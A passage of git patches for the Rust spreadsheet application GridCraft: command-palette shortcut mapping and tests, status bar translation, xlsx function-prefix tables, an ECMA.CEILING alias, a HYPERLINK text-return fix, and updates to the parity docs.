Ctrl+Shift+= | Cmd | Delete / Insert cells dialog | present | +| Ctrl+- , Ctrl+Shift+= , Ctrl+numpad + | Cmd | Delete / Insert cells dialog | present | | Ctrl+; , Ctrl+` | Control+; | current date, show formulas | present (Mac Control+; added) | | Arrows, Shift / Ctrl / Ctrl+Shift+arrows, Home, Ctrl+Home / End, Page Up / Down, Ctrl+Page Up / Down | Cmd+arrows | navigation and extension | present | | Tab, Shift+Tab, Enter, Shift+Enter, Ctrl+Space, Shift+Space, Delete, Esc | same | entry and selection | present | @@ -187,6 +187,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-10-27 | minor | Ctrl with the numpad's + inserts rows, columns or cells as Ctrl+Shift+= does, as in Excel; it did nothing because the numpad key arrives without Shift | | 2026-10-25 | minor | AutoSum (Alt+=, Home › AutoSum) over a selected row puts its total to the right of the row, or in its last cell when that is empty, as in Excel; it wrote a one-cell total under each cell. A selection's empty last column takes each row's total and its empty last row each column's, with the block's total in the corner when both are empty | | 2026-10-25 | minor | Paste Name lays out only the names in view, so a workbook with thousands of names opens it at once; the arrow keys still scroll the chosen name into view. Go To matches a `Sheet2!Name` reference and hides a workbook name behind the active sheet's own name in any case and script (`Größe` = `GRÖSSE`), as formulas do. The two Page Layout view rows are one; the 0.7 in side margin used when Align with Page Margins is off is marked unverified | | 2026-10-24 | minor | Go To lists the named ranges on every sheet, as Excel's does ("The Go to popup window shows named ranges on every worksheet in your workbook"): a name scoped to another sheet appears as `Sheet2!Name`, and hidden names, constants and formulas are left out. It keeps the references entered (newest first, ten at most), and a double-click on an entry goes there. The Reference box and `edit.goTo` take several names or references separated by commas (`Price, Type`, `B14:C22,F19:G30,H21:H29`) and select them all; `edit.goTo {list: true}` returns the list | From 8b35f2ac124f739d6efb1e2ca0fbe576a3474f89 Mon Sep 17 00:00:00 2001 From: Dmussi Date: Tue, 27 Oct 2026 19:20:18 -0400 Subject: [PATCH 032/298] Format status bar label and translate its tooltip --- crates/ui-egui/src/tabs.rs | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/crates/ui-egui/src/tabs.rs b/crates/ui-egui/src/tabs.rs index 79278a539..016c8523d 100644 --- a/crates/ui-egui/src/tabs.rs +++ b/crates/ui-egui/src/tabs.rs @@ -115,7 +115,7 @@ pub fn sheet_tabs(app: &mut SheetApp, ui: &mut Ui) { let all = crate::widgets::icon_button(ui, Icon::SheetList, t.text_dim, app.ui.language.tr("All sheets"), vec2(24.0, 24.0)); all.widget_info(|| egui::WidgetInfo::labeled(egui::Role::Button, true, app.ui.language.tr("All sheets"))); let items = app.session.active().map(|d| navigator_items(&d.wb.sheets)).unwrap_or_default(); - let active = app.session.active().map(|d| d.wb.active_sheet.to_string()).unwrap_or_default(); + let active = app.session.active().map(|d| d.wb.active_sheet().to_string()).unwrap_or_default(); let rows: Vec<(&str, String)> = items.iter().map(|(i, name)| (i.as_str(), name.clone())).collect(); if let crate::ribbon::ComboResult::Picked(i) = crate::ribbon::editable_combo(ui, &all, "sheet_navigator", &active, &rows, false) && let Ok(i) = i.parse::() @@ -135,7 +135,7 @@ pub fn sheet_tabs(app: &mut SheetApp, ui: &mut Ui) { .iter() .enumerate() .filter(|(_, s)| s.visibility == Visibility::Visible) - .map(|(i, s)| (i, s.name.clone(), s.tab_color.and_then(|c| c.resolve(&d.wb.theme)), i == d.wb.active_sheet)) + .map(|(i, s)| (i, s.name.clone(), s.tab_color.and_then(|c| c.resolve(&d.wb.theme)), i == d.wb.active_sheet())) .collect(); // Keep worksheet tabs in their own horizontally scrollable viewport. As in Excel, the // tabs get up to 60% of the bar and the grid's horizontal scrollbar the rest; a strip @@ -148,7 +148,7 @@ pub fn sheet_tabs(app: &mut SheetApp, ui: &mut Ui) { }; // Reveal the selected sheet after navigation or layout changes, but // allow browsing other tabs without snapping back on every frame. - let reveal_key = egui::Id::unique((d.uid, d.wb.active_sheet, &sheets, tabs_width.to_bits())); + let reveal_key = egui::Id::unique((d.uid, d.wb.active_sheet(), &sheets, tabs_width.to_bits())); let reveal_id = ui.scope_id().with("worksheet_tabs_reveal"); let reveal_active = ui.ctx().data_mut(|data| { let changed = data.get_temp::(reveal_id) != Some(reveal_key); @@ -352,7 +352,7 @@ pub fn status_bar(app: &mut SheetApp, ui: &mut Ui) { if !d.calc.circular.is_empty() { ui.add_space(12.0); // Only a loop on the active sheet is named, so the address needs no sheet. - let label = match d.calc.circular.iter().find(|(si, _)| *si == d.wb.active_sheet) { + let label = match d.calc.circular.iter().find(|(si, _)| *si == d.wb.active_sheet()) { Some((_, c)) => format!("Circular References: {}", c.a1()), None => "Circular References".to_owned(), }; @@ -416,9 +416,11 @@ pub fn status_bar(app: &mut SheetApp, ui: &mut Ui) { for p in selection_statistics(app).into_iter().rev() { let value = p.split_once(": ").map_or(p.as_str(), |(_, v)| v).to_owned(); let resp = ui.add( - egui::Label::new(egui::RichText::new(p).font(theme::ui_font(12.5)).color(t.text_dim)).selectable(false).sense(Sense::click()), + egui::Label::new(egui::RichText::new(p).font(theme::ui_font(12.5)).color(t.text_dim)) + .selectable(false) + .sense(Sense::click()), ); - let resp = resp.on_hover_cursor(egui::CursorIcon::PointingHand).on_hover_text("Click to copy"); + let resp = resp.on_hover_cursor(egui::CursorIcon::PointingHand).on_hover_text(app.ui.language.tr("Click to copy")); if resp.clicked() { ui.ctx().copy_text(value); } @@ -596,11 +598,11 @@ mod tests { let mut app = crate::SheetApp::new(session, Default::default()); app.begin_edit(Some("99".into()), false); activate_sheet(&mut app, 1); - assert_eq!(app.session.active().unwrap().wb.active_sheet, 0, "a value the validation stops must not leave its sheet"); + assert_eq!(app.session.active().unwrap().wb.active_sheet(), 0, "a value the validation stops must not leave its sheet"); assert!(app.editor.is_some(), "the edit stays open to be corrected"); app.editor.as_mut().unwrap().text = "7".into(); activate_sheet(&mut app, 1); - assert_eq!(app.session.active().unwrap().wb.active_sheet, 1, "the corrected value commits and the sheet changes"); + assert_eq!(app.session.active().unwrap().wb.active_sheet(), 1, "the corrected value commits and the sheet changes"); let a1 = gridcraft_engine::core::CellRef::parse("A1").unwrap(); assert!(app.session.active().unwrap().wb.sheet(0).unwrap().cell(a1).is_some(), "the value lands on the first sheet"); } From 6e7fb6ce0be7e77ea52b387f45208a5b6418b353 Mon Sep 17 00:00:00 2001 From: AnhNgoo <110978888+AnhNgoo@users.noreply.github.com> Date: Wed, 28 Oct 2026 08:13:33 +0700 Subject: [PATCH 033/298] fix(ui): correct Paste Special shortcut in command palette --- crates/ui-egui/src/dialogs/command_search.rs | 11 ++++++++++- crates/ui-egui/tests/it/dialog_focus.rs | 20 ++++++++++++++++++++ 2 files changed, 30 insertions(+), 1 deletion(-) diff --git a/crates/ui-egui/src/dialogs/command_search.rs b/crates/ui-egui/src/dialogs/command_search.rs index 1aefdb9b1..c03d0a0f8 100644 --- a/crates/ui-egui/src/dialogs/command_search.rs +++ b/crates/ui-egui/src/dialogs/command_search.rs @@ -1,5 +1,6 @@ use super::*; +/// Shows enabled commands and their platform-specific keyboard shortcuts. pub(super) fn command_search(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialog, confirm: &mut bool) { let (down, up, home, end, pgup, pgdn) = ui.input_mut(|i| { ( @@ -70,7 +71,15 @@ pub(super) fn command_search(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dial egui::ScrollArea::vertical().max_height(LIST_HEIGHT).auto_shrink([true, false]).show(ui, |ui| { let scroll_area_width = ui.available_width(); for (i, (id, label, menu, shortcut)) in cmds.iter().enumerate() { - let shortcut = shortcut.map(|keys| if cfg!(target_os = "macos") { keys.to_string() } else { keys.replace("Cmd+", "Ctrl+") }); + let shortcut = shortcut.map(|keys| { + if cfg!(target_os = "macos") { + keys.to_string() + } else if keys == "Ctrl+Cmd+V" { + "Ctrl+Alt+V".to_string() + } else { + keys.strip_prefix("Cmd+").map_or_else(|| keys.to_string(), |rest| format!("Ctrl+{rest}")) + } + }); let text = match shortcut { Some(keys) => format!("{label} ({keys}) {menu}"), None => format!("{label} {menu}"), diff --git a/crates/ui-egui/tests/it/dialog_focus.rs b/crates/ui-egui/tests/it/dialog_focus.rs index 9ed72fe76..44b726958 100644 --- a/crates/ui-egui/tests/it/dialog_focus.rs +++ b/crates/ui-egui/tests/it/dialog_focus.rs @@ -83,6 +83,7 @@ fn command_search_arrow_and_page_keys_move_the_selection_and_keep_the_search_foc assert!(h.ctx.memory(|m| m.focused()).is_some(), "the search field kept focus"); } +/// Checks platform-specific labels for the Bold and Filter shortcuts. #[test] fn command_search_shows_shortcuts_for_current_platform() { let mut h = harness(); @@ -101,3 +102,22 @@ fn command_search_shows_shortcuts_for_current_platform() { let filter = if cfg!(target_os = "macos") { "Filter (⌘⇧F)" } else { "Filter (Ctrl+Shift+L)" }; h.get_by_label_contains(filter); } + +/// Checks that Paste Special shows a usable shortcut after copying a cell. +#[test] +fn command_search_shows_paste_special_shortcut() { + let mut h = harness(); + + h.state_mut().session.execute("cell.set", json!({"cell": "C3", "input": "copied"})).unwrap(); + h.state_mut().session.execute("edit.copy", json!({"range": "C3"})).unwrap(); + + h.state_mut().open_dialog("commandSearch", json!({})); + h.run_steps(6); + + h.state_mut().dialog.as_mut().unwrap().search = "pasteSpecial".into(); + h.run_steps(3); + + let expected = if cfg!(target_os = "macos") { "Paste Special… (Ctrl+Cmd+V)" } else { "Paste Special… (Ctrl+Alt+V)" }; + + h.get_by_label_contains(expected); +} From f77d70502aca3f655a0b3c19a029a28c23748252 Mon Sep 17 00:00:00 2001 From: AnhNgoo <110978888+AnhNgoo@users.noreply.github.com> Date: Wed, 28 Oct 2026 08:39:37 +0700 Subject: [PATCH 034/298] fix(ui): verify command shortcuts for runtime OS --- crates/ui-egui/src/dialogs/command_search.rs | 54 +++++++++++++------ crates/ui-egui/tests/it/dialog_focus.rs | 56 ++++++++++++++++++-- 2 files changed, 90 insertions(+), 20 deletions(-) diff --git a/crates/ui-egui/src/dialogs/command_search.rs b/crates/ui-egui/src/dialogs/command_search.rs index c03d0a0f8..e43a0cb43 100644 --- a/crates/ui-egui/src/dialogs/command_search.rs +++ b/crates/ui-egui/src/dialogs/command_search.rs @@ -20,6 +20,7 @@ pub(super) fn command_search(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dial d.focus_initialized = true; } + let mac = ui.ctx().os() == egui::os::OperatingSystem::Mac; let q = d.search.to_ascii_lowercase(); let cmds: Vec<(String, String, String, Option<&str>)> = app .session @@ -27,14 +28,7 @@ pub(super) fn command_search(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dial .into_iter() .filter(|c| c.enabled) .filter(|c| q.is_empty() || c.label.to_ascii_lowercase().contains(&q) || c.id.to_ascii_lowercase().contains(&q)) - .map(|c| { - ( - c.id.to_string(), - c.label.to_string(), - c.menu.join(" › "), - crate::widgets::tooltip_shortcut(c.label, cfg!(target_os = "macos")).or(c.shortcut), - ) - }) + .map(|c| (c.id.to_string(), c.label.to_string(), c.menu.join(" › "), command_search_shortcut(c.id, mac))) .take(40) .collect(); @@ -71,15 +65,6 @@ pub(super) fn command_search(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dial egui::ScrollArea::vertical().max_height(LIST_HEIGHT).auto_shrink([true, false]).show(ui, |ui| { let scroll_area_width = ui.available_width(); for (i, (id, label, menu, shortcut)) in cmds.iter().enumerate() { - let shortcut = shortcut.map(|keys| { - if cfg!(target_os = "macos") { - keys.to_string() - } else if keys == "Ctrl+Cmd+V" { - "Ctrl+Alt+V".to_string() - } else { - keys.strip_prefix("Cmd+").map_or_else(|| keys.to_string(), |rest| format!("Ctrl+{rest}")) - } - }); let text = match shortcut { Some(keys) => format!("{label} ({keys}) {menu}"), None => format!("{label} {menu}"), @@ -107,3 +92,38 @@ pub(super) fn command_search(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dial app.run_or_alert(&id, json!({})); } } + +/// Only advertises shortcuts verified against the grid keymap and ribbon. +/// Commands without a confirmed binding are shown without a shortcut. +fn command_search_shortcut(id: &str, mac: bool) -> Option<&'static str> { + let (mac_keys, other_keys) = match id { + "file.new" => ("⌘N", Some("Ctrl+N")), + "file.open" => ("⌘O", Some("Ctrl+O")), + "file.save" => ("⌘S", Some("Ctrl+S")), + "file.saveAs" => ("⌘⇧S", Some("Ctrl+Shift+S")), + "file.close" => ("⌘W", Some("Ctrl+W")), + "edit.copy" => ("⌘C", Some("Ctrl+C")), + "edit.cut" => ("⌘X", Some("Ctrl+X")), + "edit.paste" => ("⌘V", Some("Ctrl+V")), + "edit.undo" => ("⌘Z", Some("Ctrl+Z")), + "edit.redo" => ("⌘Y", Some("Ctrl+Y")), + "edit.selectAll" => ("⌘A", Some("Ctrl+A")), + "edit.fillDown" => ("⌘D", Some("Ctrl+D")), + "edit.fillRight" => ("⌘R", Some("Ctrl+R")), + "home.bold" => ("⌘B", Some("Ctrl+B")), + "home.italic" => ("⌘I", Some("Ctrl+I")), + "home.underline" => ("⌘U", Some("Ctrl+U")), + "formulas.autoSum" => ("⌘⇧T", Some("Alt+=")), + "insert.table" => ("⌘T", Some("Ctrl+T")), + "data.filter" => ("⌘⇧F", Some("Ctrl+Shift+L")), + "edit.flashFill" => ("Control+E", Some("Ctrl+E")), + "edit.pasteSpecial" => ("Ctrl+Cmd+V", Some("Ctrl+Alt+V")), + "home.alignLeft" => ("⌘L", None), + "home.alignCenter" => ("⌘E", None), + "view.showObjects" => ("Ctrl+6", Some("Ctrl+6")), + "formulas.showFormulas" => ("⌘`", Some("Ctrl+`")), + _ => return None, + }; + + if mac { Some(mac_keys) } else { other_keys } +} diff --git a/crates/ui-egui/tests/it/dialog_focus.rs b/crates/ui-egui/tests/it/dialog_focus.rs index 44b726958..902bb8e4c 100644 --- a/crates/ui-egui/tests/it/dialog_focus.rs +++ b/crates/ui-egui/tests/it/dialog_focus.rs @@ -93,13 +93,13 @@ fn command_search_shows_shortcuts_for_current_platform() { h.state_mut().dialog.as_mut().unwrap().search = "bold".into(); h.run_steps(3); - let bold = if cfg!(target_os = "macos") { "Bold (⌘B)" } else { "Bold (Ctrl+B)" }; + let bold = if h.ctx.os() == egui::os::OperatingSystem::Mac { "Bold (⌘B)" } else { "Bold (Ctrl+B)" }; h.get_by_label_contains(bold); h.state_mut().dialog.as_mut().unwrap().search = "filter".into(); h.run_steps(3); - let filter = if cfg!(target_os = "macos") { "Filter (⌘⇧F)" } else { "Filter (Ctrl+Shift+L)" }; + let filter = if h.ctx.os() == egui::os::OperatingSystem::Mac { "Filter (⌘⇧F)" } else { "Filter (Ctrl+Shift+L)" }; h.get_by_label_contains(filter); } @@ -117,7 +117,57 @@ fn command_search_shows_paste_special_shortcut() { h.state_mut().dialog.as_mut().unwrap().search = "pasteSpecial".into(); h.run_steps(3); - let expected = if cfg!(target_os = "macos") { "Paste Special… (Ctrl+Cmd+V)" } else { "Paste Special… (Ctrl+Alt+V)" }; + let expected = if h.ctx.os() == egui::os::OperatingSystem::Mac { "Paste Special… (Ctrl+Cmd+V)" } else { "Paste Special… (Ctrl+Alt+V)" }; h.get_by_label_contains(expected); } + +/// Checks both OS mappings on one host, including commands with conflicting keys. +#[test] +fn command_search_uses_runtime_os_and_verified_shortcuts() { + use egui::os::OperatingSystem; + + for (os, bold, filter, flash, paste, left, center) in [ + ( + OperatingSystem::Windows, + "Bold (Ctrl+B)", + "Filter (Ctrl+Shift+L)", + "Flash Fill (Ctrl+E)", + "Paste Special… (Ctrl+Alt+V)", + "Align Left Home", + "Center Home", + ), + ( + OperatingSystem::Mac, + "Bold (⌘B)", + "Filter (⌘⇧F)", + "Flash Fill (Control+E)", + "Paste Special… (Ctrl+Cmd+V)", + "Align Left (⌘L)", + "Center (⌘E)", + ), + ] { + let mut h = harness(); + h.ctx.set_os(os); + h.run_steps(2); + + h.state_mut().session.execute("cell.set", json!({"cell": "C3", "input": "copied"})).unwrap(); + h.state_mut().session.execute("edit.copy", json!({"range": "C3"})).unwrap(); + + h.state_mut().open_dialog("commandSearch", json!({})); + h.run_steps(6); + + for (query, expected) in [ + ("bold", bold), + ("filter", filter), + ("edit.flashFill", flash), + ("edit.pasteSpecial", paste), + ("home.alignLeft", left), + ("home.alignCenter", center), + ] { + h.state_mut().dialog.as_mut().unwrap().search = query.into(); + h.run_steps(3); + h.get_by_label_contains(expected); + } + } +} From bf4a3969e8bbbe37e2126d70cc352530d200f5e0 Mon Sep 17 00:00:00 2001 From: AnhNgoo <110978888+AnhNgoo@users.noreply.github.com> Date: Wed, 28 Oct 2026 08:56:28 +0700 Subject: [PATCH 035/298] fix(ui): show verified selection shortcuts in command palette --- crates/ui-egui/src/dialogs/command_search.rs | 2 ++ crates/ui-egui/tests/it/dialog_focus.rs | 23 ++++++++++++++++++++ 2 files changed, 25 insertions(+) diff --git a/crates/ui-egui/src/dialogs/command_search.rs b/crates/ui-egui/src/dialogs/command_search.rs index e43a0cb43..e7c59b150 100644 --- a/crates/ui-egui/src/dialogs/command_search.rs +++ b/crates/ui-egui/src/dialogs/command_search.rs @@ -120,6 +120,8 @@ fn command_search_shortcut(id: &str, mac: bool) -> Option<&'static str> { "edit.pasteSpecial" => ("Ctrl+Cmd+V", Some("Ctrl+Alt+V")), "home.alignLeft" => ("⌘L", None), "home.alignCenter" => ("⌘E", None), + "selection.row" => ("Shift+Space", Some("Shift+Space")), + "selection.column" => ("Control+Space", Some("Ctrl+Space")), "view.showObjects" => ("Ctrl+6", Some("Ctrl+6")), "formulas.showFormulas" => ("⌘`", Some("Ctrl+`")), _ => return None, diff --git a/crates/ui-egui/tests/it/dialog_focus.rs b/crates/ui-egui/tests/it/dialog_focus.rs index 902bb8e4c..878ea9bd8 100644 --- a/crates/ui-egui/tests/it/dialog_focus.rs +++ b/crates/ui-egui/tests/it/dialog_focus.rs @@ -171,3 +171,26 @@ fn command_search_uses_runtime_os_and_verified_shortcuts() { } } } +/// Selection shortcuts use the same bindings as the runtime keyboard handler. +#[test] +fn command_search_selection_shortcuts_match_runtime_os() { + for (os, column_label) in [ + (egui::os::OperatingSystem::Windows, "Select Entire Column (Ctrl+Space)"), + (egui::os::OperatingSystem::Mac, "Select Entire Column (Control+Space)"), + ] { + let mut h = harness(); + h.ctx.set_os(os); + h.run_steps(2); + + h.state_mut().open_dialog("commandSearch", json!({})); + h.run_steps(6); + + h.state_mut().dialog.as_mut().unwrap().search = "selection.row".into(); + h.run_steps(3); + h.get_by_label_contains("Select Entire Row (Shift+Space)"); + + h.state_mut().dialog.as_mut().unwrap().search = "selection.column".into(); + h.run_steps(3); + h.get_by_label_contains(column_label); + } +} From 25816f0009361211ed5be25b1dd8bd1907656bc6 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Tue, 27 Oct 2026 20:57:17 -0500 Subject: [PATCH 036/298] xlsx: write _xlfn. for STOCKHISTORY, TRANSLATE, DETECTLANGUAGE; none for NETWORKDAYS.INTL, WORKDAY.INTL --- crates/xlsx/src/tables.rs | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/crates/xlsx/src/tables.rs b/crates/xlsx/src/tables.rs index 23c936c4a..361a79483 100644 --- a/crates/xlsx/src/tables.rs +++ b/crates/xlsx/src/tables.rs @@ -151,6 +151,7 @@ const FUTURE_FUNCTIONS: &[&str] = &[ "CSCH", "DAYS", "DECIMAL", + "DETECTLANGUAGE", "DROP", "ENCODEURL", "ERF.PRECISE", @@ -206,7 +207,6 @@ const FUTURE_FUNCTIONS: &[&str] = &[ "MODE.SNGL", "MUNIT", "NEGBINOM.DIST", - "NETWORKDAYS.INTL", "NORM.DIST", "NORM.INV", "NORM.S.DIST", @@ -243,6 +243,7 @@ const FUTURE_FUNCTIONS: &[&str] = &[ "SORTBY", "STDEV.P", "STDEV.S", + "STOCKHISTORY", "SWITCH", "T.DIST", "T.DIST.2T", @@ -257,6 +258,7 @@ const FUTURE_FUNCTIONS: &[&str] = &[ "TEXTSPLIT", "TOCOL", "TOROW", + "TRANSLATE", "TRIMRANGE", "UNICHAR", "UNICODE", @@ -267,7 +269,6 @@ const FUTURE_FUNCTIONS: &[&str] = &[ "VSTACK", "WEBSERVICE", "WEIBULL.DIST", - "WORKDAY.INTL", "WRAPCOLS", "WRAPROWS", "XLOOKUP", @@ -352,6 +353,12 @@ mod tests { assert_eq!(file_function_name("FILTER").as_deref(), Some("_xlfn._xlws.FILTER")); assert_eq!(file_function_name("PERCENTOF").as_deref(), Some("_xlfn.PERCENTOF")); assert_eq!(file_function_name("TRIMRANGE").as_deref(), Some("_xlfn.TRIMRANGE")); + assert_eq!(file_function_name("stockhistory").as_deref(), Some("_xlfn.STOCKHISTORY")); + assert_eq!(file_function_name("TRANSLATE").as_deref(), Some("_xlfn.TRANSLATE")); + assert_eq!(file_function_name("DETECTLANGUAGE").as_deref(), Some("_xlfn.DETECTLANGUAGE")); + // Excel writes these two without a prefix. + assert_eq!(file_function_name("NETWORKDAYS.INTL"), None); + assert_eq!(file_function_name("WORKDAY.INTL"), None); assert_eq!(file_function_name("SUM"), None); assert_eq!(builtin_format(14), Some("m/d/yyyy")); assert_eq!(builtin_id("0.00%"), Some(10)); From 28a8e67e7a7d6ce76a1cc01d7fd8f5fbfe196537 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Tue, 27 Oct 2026 20:57:33 -0500 Subject: [PATCH 037/298] functions: add ECMA.CEILING (CEILING under a second name) --- crates/functions/src/math.rs | 10 ++++++++++ crates/functions/src/math/tests.rs | 5 +++++ 2 files changed, 15 insertions(+) diff --git a/crates/functions/src/math.rs b/crates/functions/src/math.rs index 6d4cdcf58..f6a3b2efa 100644 --- a/crates/functions/src/math.rs +++ b/crates/functions/src/math.rs @@ -694,6 +694,16 @@ pub(crate) fn specs() -> Vec { f!("ROUNDDOWN", 2, 2, MathTrig, S, "ROUNDDOWN(number, num_digits)", "Rounds a number toward zero to a given number of digits.", rounddown), f!("MROUND", 2, 2, MathTrig, S, "MROUND(number, multiple)", "Rounds a number to the nearest multiple.", mround), f!("CEILING", 2, 2, Compatibility, S, "CEILING(number, significance)", "Rounds a number up to a multiple of significance.", ceiling), + f!( + "ECMA.CEILING", + 2, + 2, + Compatibility, + S, + "ECMA.CEILING(number, significance)", + "Rounds a number up to a multiple of significance.", + ceiling + ), f!( "CEILING.MATH", 1, diff --git a/crates/functions/src/math/tests.rs b/crates/functions/src/math/tests.rs index 14f72d1e1..503d4771c 100644 --- a/crates/functions/src/math/tests.rs +++ b/crates/functions/src/math/tests.rs @@ -101,6 +101,11 @@ fn rounding() { close(ev2("CEILING", 1.5, 0.1), 1.5); close(ev2("CEILING", 0.234, 0.01), 0.24); is_err(ev2("CEILING", 2.5, -1.0), Num); + // ECMA.CEILING is CEILING under a second name (Excel table from #2776). + close(ev2("ECMA.CEILING", 1.5, 1.0), 2.0); + close(ev2("ECMA.CEILING", -2.5, -2.0), -4.0); + close(ev2("ECMA.CEILING", 2.5, 0.0), 0.0); + is_err(ev2("ECMA.CEILING", 1.5, -1.0), Num); close(ev2("FLOOR", 3.7, 2.0), 2.0); close(ev2("FLOOR", -2.5, -2.0), -2.0); close(ev2("FLOOR", -2.5, 2.0), -4.0); From 0f78a6b1268baf8099942e262bd5338c5e58c711 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Tue, 27 Oct 2026 21:08:23 -0500 Subject: [PATCH 038/298] HYPERLINK without a friendly name returns the link as text Excel: HYPERLINK(1) is the text "1" (ISTEXT is TRUE); with a friendly name the result keeps that value's type. --- crates/functions/src/info.rs | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/crates/functions/src/info.rs b/crates/functions/src/info.rs index 7aa2c2660..3cec219e4 100644 --- a/crates/functions/src/info.rs +++ b/crates/functions/src/info.rs @@ -311,11 +311,8 @@ fn hyperlink(a: &[Arg], _c: &mut dyn Ctx) -> R { let v = a.get(1).map(scalar).unwrap_or(Value::Empty); return Ok(empty_to_zero(v)); } - let link = a.first().map(scalar).unwrap_or(Value::Empty); - if let Value::Error(e) = link { - return Err(e); - } - Ok(link) + // Excel returns the link as text, so HYPERLINK(1) is "1" and ISTEXT is TRUE. + Ok(Value::Text(text(a, 0)?.into())) } fn encodeurl(a: &[Arg], _c: &mut dyn Ctx) -> R { @@ -608,6 +605,12 @@ mod tests { is_text(ev("HYPERLINK", vec![t("http://x.com")]), "http://x.com"); is_text(ev("HYPERLINK", vec![t("http://x.com"), t("Click")]), "Click"); close(ev("HYPERLINK", vec![t("http://x.com"), n(5.0)]), 5.0); + // Excel 16: without a friendly name the result is the link as text. + is_text(ev("HYPERLINK", vec![n(1.0)]), "1"); + is_text(ev("HYPERLINK", vec![n(1.5)]), "1.5"); + is_text(ev("HYPERLINK", vec![Value::Bool(true)]), "TRUE"); + is_text(ev("HYPERLINK", vec![Value::Empty]), ""); + is_err(ev("HYPERLINK", vec![Value::Error(CellError::Div0)]), CellError::Div0); is_text(ev("ENCODEURL", vec![t("a b&c/é")]), "a%20b%26c%2F%C3%A9"); is_err(ev("WEBSERVICE", vec![t("http://x")]), CellError::Value); is_err(ev("FILTERXML", vec![t(""), t("//a")]), CellError::Value); From 87342cb30892c598d969c78334c5f6d70ecbe7b9 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Tue, 27 Oct 2026 21:08:35 -0500 Subject: [PATCH 039/298] HYPERLINK tests: use the Arg helpers --- crates/functions/src/info.rs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/crates/functions/src/info.rs b/crates/functions/src/info.rs index 3cec219e4..309f0323e 100644 --- a/crates/functions/src/info.rs +++ b/crates/functions/src/info.rs @@ -608,9 +608,9 @@ mod tests { // Excel 16: without a friendly name the result is the link as text. is_text(ev("HYPERLINK", vec![n(1.0)]), "1"); is_text(ev("HYPERLINK", vec![n(1.5)]), "1.5"); - is_text(ev("HYPERLINK", vec![Value::Bool(true)]), "TRUE"); - is_text(ev("HYPERLINK", vec![Value::Empty]), ""); - is_err(ev("HYPERLINK", vec![Value::Error(CellError::Div0)]), CellError::Div0); + is_text(ev("HYPERLINK", vec![b(true)]), "TRUE"); + is_text(ev("HYPERLINK", vec![rf(Value::Empty)]), ""); + is_err(ev("HYPERLINK", vec![e(CellError::Div0)]), CellError::Div0); is_text(ev("ENCODEURL", vec![t("a b&c/é")]), "a%20b%26c%2F%C3%A9"); is_err(ev("WEBSERVICE", vec![t("http://x")]), CellError::Value); is_err(ev("FILTERXML", vec![t(""), t("//a")]), CellError::Value); From f6015a7e6e9e3482f4ebf615ec87daf1999eb04e Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Tue, 27 Oct 2026 21:21:04 -0500 Subject: [PATCH 040/298] Pin COPILOT as written without an _xlfn. prefix --- crates/xlsx/src/tables.rs | 2 ++ 1 file changed, 2 insertions(+) diff --git a/crates/xlsx/src/tables.rs b/crates/xlsx/src/tables.rs index 361a79483..dd9e31b5e 100644 --- a/crates/xlsx/src/tables.rs +++ b/crates/xlsx/src/tables.rs @@ -359,6 +359,8 @@ mod tests { // Excel writes these two without a prefix. assert_eq!(file_function_name("NETWORKDAYS.INTL"), None); assert_eq!(file_function_name("WORKDAY.INTL"), None); + // Excel 16.0 build 20527 saves COPILOT as plain `COPILOT(...)` (it does not know the name yet). + assert_eq!(file_function_name("COPILOT"), None); assert_eq!(file_function_name("SUM"), None); assert_eq!(builtin_format(14), Some("m/d/yyyy")); assert_eq!(builtin_id("0.00%"), Some(10)); From 3b73ac9b91793828e118341773ad28f3bd85487c Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Tue, 27 Oct 2026 21:21:14 -0500 Subject: [PATCH 041/298] Document ECMA.CEILING as not on Microsoft's list --- docs/function-parity.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/docs/function-parity.md b/docs/function-parity.md index bf57fcd3e..92c64467e 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-15 · **Last updated:** 2026-10-25 · **Change:** minor (the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-15 · **Last updated:** 2026-10-27 · **Change:** minor (ECMA.CEILING listed with USDOLLAR as not on Microsoft's list; earlier: the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -20,8 +20,8 @@ Excel's worksheet functions, category by category, against GridCraft's function evaluator's special forms in `crates/calc/src/eval.rs` (`SPECIAL_FUNCTIONS`: IF, IFS, CHOOSE, OFFSET, INDIRECT, INDEX, SUBTOTAL, AGGREGATE, TEXT, LET, LAMBDA, MAP, REDUCE, SCAN, 